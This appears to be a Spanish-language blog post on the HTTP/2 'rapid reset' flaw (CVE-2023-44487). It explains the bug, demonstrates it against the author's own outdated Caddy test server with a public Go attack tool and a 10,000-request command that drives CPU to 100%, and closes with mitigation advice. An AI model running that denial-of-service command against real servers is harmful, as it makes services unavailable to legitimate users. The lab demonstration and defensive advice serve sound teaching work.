Probando la vulnerabilidad "rapid reset" (CVE-2023-44487): una amenaza emergente para los servidores HTTP/2

HTTP/2 es un protocolo de transferencia de hipertexto que se utiliza para mejorar el rendimiento de las aplicaciones web. Es un protocolo bidireccional que permite que los clientes y los servidores envíen datos simultáneamente, lo que reduce el tiempo de carga de las páginas web.

En agosto de 2023, se descubrió una vulnerabilidad zero-day en HTTP/2 que podía ser explotada para llevar a cabo ataques de denegación de servicio distribuidos (DDoS). Varios ataques afectaron a varios servicios web importantes, como Amazon Web Services, Cloudflare y Google. Esta vulnerabilidad con CVE-2023-44487, conocida como "rapid reset", permite a los atacantes enviar un gran número de solicitudes a un servidor HTTP/2, lo que sobrecarga el servidor y lo hace inaccesible para los usuarios legítimos.

Explicación rápida de la vulnerabilidad:

HTTP/2 utiliza un mecanismo llamado multiplexación de flujos para enviar múltiples solicitudes a través de una única conexión TCP. Esto permite que los clientes envíen y reciban datos de forma más eficiente.

La vulnerabilidad "rapid reset" se produce cuando un cliente envía una solicitud HTTP/2 y luego la cancela inmediatamente enviando una trama RST_STREAM. Esta trama indica al servidor que la solicitud debe ser cancelada.

Los atacantes pueden explotar esta vulnerabilidad enviando un gran número de solicitudes HTTP/2 y luego cancelándolas inmediatamente. Esto sobrecarga el servidor, ya que tiene que procesar cada solicitud, incluso si se cancela inmediatamente.

HTTP/1.1 and HTTP/2 request and response pattern (Google)

Probando la vulnerabilidad

Para probarlo vamos a lanzar el ataque contra una versión antigua del sencillo servidor Caddy que sólo va a respondernos por HTTP/2. El fichero de configuración o CaddyFile puede ser como el siguiente:

cabesha.com {
    tls {
        protocols tls1.2
    }
    reverse_proxy {
        to 127.0.0.1:8000  # Dirección y puerto de tu aplicación backend
    }
    tls c:\temp\caddy.crt c:\temp\caddy.key
    log
}
Lo levantamos:
c:\caddy2.3.exe run --config  CaddyFile

Detrás dejaremos mismamente un servidor sencillo con python:

python -m http.server


Ahora probamos con un simple curl:

$ curl -I --insecure https://cabesha.com
HTTP/2 200
content-type: text/html; charset=utf-8
date: Thu, 19 Oct 2023 23:11:03 GMT
server: Caddy
server: SimpleHTTP/0.6 Python/3.11.2
content-length: 250643
Para la PoC vamos a usar una herramienta escrita en Go (https://github.com/secengjeff/rapidresetclient/tree/main), aunque si os dais una vuelta veréis que hay varias (a fecha del post en python y c++).

$ ./rapidresetclient  -requests=10000  -url  https://cabesha.com:443  -wait=100  -delay=10 -concurrency=5

 El servidor Caddy y el backend empezarán a inundarse de peticiones...

Y como veréis en la imagen de a continuación, el uso de la CPU se incrementa al 100% dejando inaccesible el servidor para realizar cualquier otra petición.


Mitigación:

Los administradores de sistemas también pueden tomar medidas para mitigar la vulnerabilidad "rapid reset". Estas medidas incluyen:

  • Actualizar el software o parchear el producto correspondiente si es el caso
  • Implementar un firewall de aplicación web (WAF) para bloquear el tráfico malicioso.
  • Ajustar la configuración de los servidores HTTP/2 para limitar el número de flujos simultáneos.
  • Monitorizar el tráfico de red para detectar signos de ataques DDoS.

Fuentes:

Comentarios